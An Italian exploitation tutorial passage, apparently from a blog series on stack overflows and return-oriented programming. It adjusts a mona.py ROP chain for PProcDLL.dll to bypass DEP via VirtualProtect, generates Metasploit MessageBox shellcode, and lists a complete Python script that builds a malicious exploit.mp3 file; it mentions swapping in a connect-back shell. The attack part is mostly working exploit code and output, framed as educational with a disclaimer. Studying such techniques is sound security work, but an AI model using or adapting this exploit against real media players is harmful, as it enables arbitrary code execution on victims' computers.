La serie di gadget utilizzata nella rop chain deve però essere analizzata e adattata per lavorare sul nostro sistema, talvolta è anche possibile che questa funzioni subito senza modifiche. Nel mio caso ho dovuto aggiustare con alcune WORD l’offset tra ESP ed EIP.
Ricordiamoci che ESP ed EIP devono essere tenuti sotto controllo durante l’esecuzione di codice ROP. ESP punta sempre alla prossima istruzione da eseguire al momento che una ‘ret’ viene eseguita, oppure punta alla locazione che verrà memorizzata in un registro in caso venga eseguita una ‘POP REG’. L’istruzione pop incrementa il valore di ESP facendo scorrere questo lungo la ROP chain, al contrario l’istruzione push incrementa ESP ed inserisce nuove WORD.

Detto questo se analizzate con un debugger lo stato dei registri al momento dell’esecuzione della ROP (mettete un breakpoint a 0x1004a594 utilizzando l’exploit con la rop chain prodotta da mona.py) ci si accorge che le modifiche vanno apportate in corrispondenza delle istruzioni seguenti:

- 0x1004a594, # POP EAX # RETN (PProcDLL.dll)
Qui va inserita un WORD aggiuntiva dato che al momento dell’esecuzione della ROP, ESP non punta allo stessa locazione di EIP, di conseguenza per fare in modo che POP EAX raccolga il puntatore al puntatore di VirtualProtect, deve essere posizionata una WORD subito prima tale locazione.
- 0x1011bcf6, # MOV EAX,DWORD PTR DS:[EAX] # POP ESI # RETN (PProcDLL.dll)
In questo caso POP ESI è un’istruzione che non ci è utile, posizioniamo una WORD per far proseguire ESP in modo corretto verso la prossima locazione.
- 0x1002d319, # XCHG EAX,EBX # RETN 0E (PProcDLL.dll)
- 0x1012d9ab, # POP ECX # RETN (PProcDLL.dll)
L’istruzione RET 0E somma ad ESP il valore 0x0e. Questo ci può causare dei problemi dal momento che ci sposta ESP di ben 14 byte in avanti. EIP invece punterà alla WORD successiva a 0x1012d9ab. Ovviamo a questo problema inserendo anche qui un ‘padding’ di 14 byte.

Il resto della ROP chain si comporta a dovere. Possiamo lasciarla invariata.

Ora scegliamo un payload di esempio dal framework metasploit, i passaggi sono davvero molto semplici:

msf > show payloads

Payloads
========

   Name                      	Disclosure Date  Rank    Description
   ----                         ---------------  ----    -----------
   aix/ppc/shell_bind_tcp       				 normal  AIX Command Shell, Bind TCP Inline
   aix/ppc/shell_find_port                       normal  AIX Command Shell, Find Port Inline
   aix/ppc/shell_interact                        normal  AIX execve shell for inetd
   aix/ppc/shell_reverse_tcp                     normal  AIX Command Shell, Reverse TCP Inline
...
   windows/exec                                  normal  Windows Execute Command
   windows/loadlibrary                           normal  Windows LoadLibrary Path
   windows/messagebox                            normal  Windows MessageBox
...

Per questo esempio una semplice messagebox andrà benissimo, in alternativa si può utilizzare una shellcode connectback come quella vista nei precedenti capitoli, basta che si adatti leggermente il codice ad essere eseguito su windows 7.
Selezioniamo il payload, vediamone una sintetica descrizione e generiamo la shellcode,

msf > use windows/messagebox
msf payload(messagebox) > info

       Name: Windows MessageBox
     Module: payload/windows/messagebox
    Version: 0
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 270
       Rank: Normal

Provided by:
  corelanc0d3r
  jduck <[email protected]>

Basic options:
Name      Current Setting   Required  Description
----      ---------------   --------  -----------
EXITFUNC  process           yes       Exit technique: seh, thread, process, none
ICON      NO                yes       Icon type can be NO, ERROR, INFORMATION, WARNING or QUESTION
TEXT      Hello, from MSF!  yes       Messagebox Text (max 255 chars)
TITLE     MessageBox        yes       Messagebox Title (max 255 chars)

Description:
  Spawns a dialog via MessageBox using a customizable title, text &
  Icon

Cambiamo alcuni parametri:

msf payload(messagebox) > set TEXT "Hello Matteo 
:)
" TEXT => Hello Matteo
:)
msf payload(messagebox) > set TITLE "The exploit works!" TITLE => The exploit works! msf payload(messagebox) > generate # windows/messagebox - 275 bytes # http://www.metasploit.com # EXITFUNC=process, TITLE=The exploit works!, TEXT=Hello # Matteo
:)
, ICON=NO buf = "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64" + "\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e" + "\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60" + "\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b" + "\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01" + "\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d" + "\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01" + "\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01" + "\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89" + "\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45" + "\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff" + "\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64" + "\x68\x75\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55" + "\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52\xe8" + "\x61\xff\xff\xff\x68\x73\x21\x58\x20\x68\x77\x6f\x72\x6b" + "\x68\x6f\x69\x74\x20\x68\x65\x78\x70\x6c\x68\x54\x68\x65" + "\x20\x31\xdb\x88\x5c\x24\x12\x89\xe3\x68\x20\x3a\x29\x58" + "\x68\x74\x74\x65\x6f\x68\x6f\x20\x4d\x61\x68\x48\x65\x6c" + "\x6c\x31\xc9\x88\x4c\x24\x0f\x89\xe1\x31\xd2\x52\x53\x51" + "\x52\xff\xd0\x31\xc0\x50\xff\x55\x08"

Inseriamo ROP, shellcode e byte junk, in uno script python, perl o ruby.
Io ho utilizzato python. E’ bene anche piazzare una serie di byte NOP tra la rop chain e il payload per evitare di ritornare su locazioni non valide,

#!/usr/bin/python

# File name
evilfile = "exploit.mp3"

# Align byte
rop_align = "\x41"

# Offset from head of buffer to saved EIP
junk = "A"*4112

# NOP sled (inc EDI)
nop = "\x47"*100

# ROP chain [from non-ASLR module "PProcDLL.dll"]
ropchain =  "\x94\xa5\x04\x10"  # 0x1004a594,	# POP EAX # RETN
ropchain += rop_align * 4		# junk
ropchain += "\x64\xf2\x14\x10"	# 0x1014f264,	#  ecx)
ropchain += "\x84\xa3\x01\x10"	# 0x1001a384,	# POP EDI # RETN
ropchain += "\x85\xa3\x01\x10"	# 0x1001a385,	# ROP NOP (-> edi)
ropchain += "\x94\xa5\x04\x10"	# 0x1004a594,	# POP EAX # RETN
ropchain += "\xc0\xff\xff\xff"	# 0xffffffc0,	# value to negate, target value : 0x00000040, target reg : edx
ropchain += "\x6b\x2b\x0d\x10"	# 0x100d2b6b,	# NEG EAX # RETN
ropchain += "\x5a\xba\x0e\x10"	# 0x100eba5a,	# XCHG EAX,EDX # RETN
ropchain += "\x94\xa5\x04\x10"	# 0x1004a594,	# POP EAX # RETN
ropchain += "\x90\x90\x90\x90"	# 0x90909090,	# NOPS (-> eax)
ropchain += "\x43\x44\x01\x10"	# 0x10014443,	# PUSHAD # RETN

payload = (
"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64"
"\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e"
"\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60"
"\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b"
"\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01"
"\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d"
"\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01"
"\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01"
"\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89"
"\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45"
"\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff"
"\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64"
"\x68\x75\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55"
"\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52\xe8"
"\x61\xff\xff\xff\x68\x73\x21\x58\x20\x68\x77\x6f\x72\x6b"
"\x68\x6f\x69\x74\x20\x68\x65\x78\x70\x6c\x68\x54\x68\x65"
"\x20\x31\xdb\x88\x5c\x24\x12\x89\xe3\x68\x20\x3a\x29\x58"
"\x68\x74\x74\x65\x6f\x68\x6f\x20\x4d\x61\x68\x48\x65\x6c"
"\x6c\x31\xc9\x88\x4c\x24\x0f\x89\xe1\x31\xd2\x52\x53\x51"
"\x52\xff\xd0\x31\xc0\x50\xff\x55\x08"
)

# Assemble
buffer = junk + ropchain + nop + payload

# Print to file
myfile = open(evilfile,"w")
myfile.write(buffer)
myfile.close()

Aprendo il file exploit.mp3 dopo aver ascoltato una canzone di vostro gradimento si ottiene:

Smashing the stack oggi, PARTE 2: Return-oriented-programming

*L’autore non si ritiene responsabile dell’uso improprio del codice e informazioni riportate. Il testo vuole essere esclusivamente a scopo informativo.

*The author is not responsible for improper use of the code and the information showed. The text is intended for informational purposes only.

Bibliografia:
.1 Aleph1 – Smashing the stack for fun and profit, Phrack Magazine, 1996
.2 Crispan Cowan, Calton Pu, Dave Maier, Jonathan Walpole, Peat Bakke, Steve Beattie, Aaron Grier, Perry Wagle, and Qian Zhang, Heather Hinton – StackGuard: Automatic Adaptive Detection and Prevention of Buffer-Overflow Attack, Oregon Graduate Institute of Science & Technology, Ryerson Polytechnic University, 1998
.3 panic.c source  code: http://lxr.linux.no/#linux+v3.9.3/kernel/panic.c
.4 Home page of PaX project http://pax.grsecurity.net/
.5 Nergal – The advance return-into-lib(c) exploits: PaX case study, Phrack Magazine
.6 Chris Anley, John Heasman, Felix “FX” Linder, Gerardo Richarte – The shellcoder’s handbook, 2007
.7 Flavio Bernardotti – Hacker’s programming book, 2002
.8 Perry Wagle, Crispin Cowan – StackGuard: simple stack smash protection for GCC
.9  Jon Erickson  -  The Art of Exploitation, 2008
.10 Simone Piccardi - Introduzione agli Intrusion Detection System, 2005
.11 Crispin Cowan, Perry Wagle, Calton Pu, Steve Beattie, and Jonathan Walpole – Buffer Overflows: Attacks and Defenses for the Vulnerability of the Decade, IEEE and supported by DARPA, 1999
.12 RYAN ROEMER, ERIK BUCHANAN, HOVAV SHACHAM and STEFAN SAVAGE – Return-Oriented Programming: Systems, Languages, and Applications, University of California, San Diego



Potrebbero interessarti anche :

Ritornare alla prima pagina di Logo Paperblog

Possono interessarti anche questi articoli :